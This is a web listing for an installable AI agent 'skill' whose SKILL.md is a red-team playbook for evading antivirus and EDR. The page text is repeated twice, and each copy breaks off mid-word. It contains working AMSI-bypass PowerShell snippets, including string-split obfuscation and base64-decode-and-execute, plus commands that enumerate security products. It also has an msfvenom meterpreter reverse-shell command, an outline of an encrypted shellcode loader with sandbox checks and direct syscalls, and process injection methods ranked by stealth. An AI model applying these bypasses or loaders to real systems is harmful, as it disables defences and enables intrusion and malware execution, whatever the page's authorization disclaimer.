av-edr-evasion-techniques

Name: av-edr-evasion-techniques
Author: ShulkwiSEC

18stars5forks

How to install av-edr-evasion-techniques?

shulkwisec/bb-huge/av-edr-evasion-techniques

$npx -y skills add ShulkwiSEC/bb-huge --skill av-edr-evasion-techniques

Installs into the current project.

Summary

Bypass antivirus and Endpoint Detection & Response solutions during red team operations using payload obfuscation, process injection, AMSI bypass, ETW patching, and custom loaders. Use this skill when AV/EDR is blocking your payloads, tooling, or post-exploitation activities. Cov

Files · 1

View on GitHub

SKILL.md

1	# AV/EDR Evasion Techniques
2
3	## When to Use
4	- When AV/EDR blocks your payloads during red team operations
5	- When you need to execute tools on endpoints with active security monitoring
6	- When testing an organization's endpoint detection capabilities
7	- When developing custom loaders for C2 implants
8
9	⚠️ WARNING: Only use on authorized engagements. EDR evasion without authorization is illegal.
10
11
12	## Prerequisites
13	- Active engagement with a defended target environment (EDR/AV present)
14	- Understanding of the target's security stack (Defender, CrowdStrike, Carbon Black, etc.)
15	- Payload development framework (msfvenom, Cobalt Strike, custom tooling)
16	- Test environment matching the target OS/EDR for pre-engagement validation
17
18	## Workflow
19
20	### Phase 1: Target EDR Identification
21
22	```powershell
23	# Identify installed security products
24	Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct \| Select displayName
25	wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
26
27	# Process-based detection
28	tasklist \| findstr -i "MsMpEng CrowdStrike CSFalcon SentinelOne cylance cbdefense xagt"
29
30	# Modern EDR enumeration:
31	# CrowdStrike Falcon → CSFalconService, CSFalconContainer
32	# SentinelOne → SentinelAgent, SentinelStaticEngine
33	# Microsoft Defender for Endpoint → MsSense
34	# Carbon Black → CbDefense, RepMgr
35	# Cortex XDR → CryptSvc associated with Palo Alto
36	# Elastic EDR → elastic-agent, elastic-endpoint
37
38	# Check if Windows Defender is enabled
39	Get-MpComputerStatus \| Select AntivirusEnabled, RealTimeProtectionEnabled
40	```
41
42	### Phase 2: AMSI Bypass (PowerShell Context)
43
44	```powershell
45	# AMSI (Antimalware Scan Interface) scans PowerShell, VBA, JScript, etc.
46
47	# Method 1: Memory patching (patch AmsiScanBuffer)
48	$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
49	$b=$a.GetField('am'+'siInitFailed','NonPublic,Static')
50	$b.SetValue($null,$true)
51
52	# Method 2: Context corruption
53	$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
54	[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null,[IntPtr]$mem)
55
56	# Method 3: String obfuscation of bypass
57	# Encode and decode at runtime to avoid static detection
58	$e = [System.Convert]::FromBase64String("BASE64_ENCODED_BYPASS")
59	$decoded = [System.Text.Encoding]::UTF8.GetString($e)
60	Invoke-Expression $decoded
61
62	# Method 4: Reflection-based (current at time of writing)
63	# These change frequently — always test before engagement
64
65	# Verify AMSI is bypassed:
66	# Try: Invoke-Mimikatz (should not trigger AMSI if bypassed)
67	```
68
69	### Phase 3: Shellcode Encryption & Custom Loaders
70
71	```csharp
72	// Concept: AES-encrypt shellcode, decrypt at runtime, inject into memory
73	// This avoids static pattern matching by AV
74
75	// Step 1: Generate raw shellcode from C2
76	// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=PORT -f raw > shell.bin
77	// Or export from Cobalt Strike as raw shellcode
78
79	// Step 2: Encrypt shellcode with AES-256
80	// python3 encrypt_shellcode.py shell.bin > encrypted.bin
81
82	// Step 3: Custom C# loader (conceptual structure):
83	// - Embed encrypted shellcode as resource
84	// - AES decrypt at runtime
85	// - Allocate executable memory (VirtualAlloc)
86	// - Copy decrypted shellcode to memory
87	// - Execute via CreateThread or callback
88
89	// Key evasion techniques in loader:
90	// - Sandbox detection (sleep, user interaction checks)
91	// - API call unhooking (direct syscalls)
92	// - Process injection instead of self-execution
93	// - Signed binary sideloading
94	```
95
96	### Phase 4: Process Injection Techniques
97
98	```
99	// Common injection methods (from stealthiest to noisiest):
100
101	// 1. Early Bird APC Injection (very stealthy)
102	// Create suspended process → Queue APC → Resume
103	// Executes before EDR hooks are set up
104
105	// 2. Module Stomping / DLL Hollowing
106	// Load legitimate DLL → Overwrite .text section with shellcode
107	// Appears as legitimate module in memory
108
109	// 3. Thread Hijacking
110	// Suspend existing thread → Modify context → Resume
111	// No new thread creation (avoids CreateRemoteT

People who liked this also viewed

6 picks

Type

av-edr-evasion-techniques

18stars5forks

View on GitHub

How to install av-edr-evasion-techniques?

shulkwisec/bb-huge/av-edr-evasion-techniques

$npx -y skills add ShulkwiSEC/bb-huge --skill av-edr-evasion-techniques

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# AV/EDR Evasion Techniques
2
3	## When to Use
4	- When AV/EDR blocks your payloads during red team operations
5	- When you need to execute tools on endpoints with active security monitoring
6	- When testing an organization's endpoint detection capabilities
7	- When developing custom loaders for C2 implants
8
9	⚠️ WARNING: Only use on authorized engagements. EDR evasion without authorization is illegal.
10
11
12	## Prerequisites
13	- Active engagement with a defended target environment (EDR/AV present)
14	- Understanding of the target's security stack (Defender, CrowdStrike, Carbon Black, etc.)
15	- Payload development framework (msfvenom, Cobalt Strike, custom tooling)
16	- Test environment matching the target OS/EDR for pre-engagement validation
17
18	## Workflow
19
20	### Phase 1: Target EDR Identification
21
22	```powershell
23	# Identify installed security products
24	Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct \| Select displayName
25	wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
26
27	# Process-based detection
28	tasklist \| findstr -i "MsMpEng CrowdStrike CSFalcon SentinelOne cylance cbdefense xagt"
29
30	# Modern EDR enumeration:
31	# CrowdStrike Falcon → CSFalconService, CSFalconContainer
32	# SentinelOne → SentinelAgent, SentinelStaticEngine
33	# Microsoft Defender for Endpoint → MsSense
34	# Carbon Black → CbDefense, RepMgr
35	# Cortex XDR → CryptSvc associated with Palo Alto
36	# Elastic EDR → elastic-agent, elastic-endpoint
37
38	# Check if Windows Defender is enabled
39	Get-MpComputerStatus \| Select AntivirusEnabled, RealTimeProtectionEnabled
40	```
41
42	### Phase 2: AMSI Bypass (PowerShell Context)
43
44	```powershell
45	# AMSI (Antimalware Scan Interface) scans PowerShell, VBA, JScript, etc.
46
47	# Method 1: Memory patching (patch AmsiScanBuffer)
48	$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
49	$b=$a.GetField('am'+'siInitFailed','NonPublic,Static')
50	$b.SetValue($null,$true)
51
52	# Method 2: Context corruption
53	$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
54	[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null,[IntPtr]$mem)
55
56	# Method 3: String obfuscation of bypass
57	# Encode and decode at runtime to avoid static detection
58	$e = [System.Convert]::FromBase64String("BASE64_ENCODED_BYPASS")
59	$decoded = [System.Text.Encoding]::UTF8.GetString($e)
60	Invoke-Expression $decoded
61
62	# Method 4: Reflection-based (current at time of writing)
63	# These change frequently — always test before engagement
64
65	# Verify AMSI is bypassed:
66	# Try: Invoke-Mimikatz (should not trigger AMSI if bypassed)
67	```
68
69	### Phase 3: Shellcode Encryption & Custom Loaders
70
71	```csharp
72	// Concept: AES-encrypt shellcode, decrypt at runtime, inject into memory
73	// This avoids static pattern matching by AV
74
75	// Step 1: Generate raw shellcode from C2
76	// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=PORT -f raw > shell.bin
77	// Or export from Cobalt Strike as raw shellcode
78
79	// Step 2: Encrypt shellcode with AES-256
80	// python3 encrypt_shellcode.py shell.bin > encrypted.bin
81
82	// Step 3: Custom C# loader (conceptual structure):
83	// - Embed encrypted shellcode as resource
84	// - AES decrypt at runtime
85	// - Allocate executable memory (VirtualAlloc)
86	// - Copy decrypted shellcode to memory
87	// - Execute via CreateThread or callback
88
89	// Key evasion techniques in loader:
90	// - Sandbox detection (sleep, user interaction checks)
91	// - API call unhooking (direct syscalls)
92	// - Process injection instead of self-execution
93	// - Signed binary sideloading
94	```
95
96	### Phase 4: Process Injection Techniques
97
98	```
99	// Common injection methods (from stealthiest to noisiest):
100
101	// 1. Early Bird APC Injection (very stealthy)
102	// Create suspended process → Queue APC → Resume
103	// Executes before EDR hooks are set up
104
105	// 2. Module Stomping / DLL Hollowing
106	// Load legitimate DLL → Overwrite .text section with shellcode
107	// Appears as legitimate module in memory
108
109	// 3. Thread Hijacking
110	// Suspend existing thread → Modify context → Resume
111	// No new thread creation (avoids CreateRemoteT

People who liked this also viewed

6 picks

Type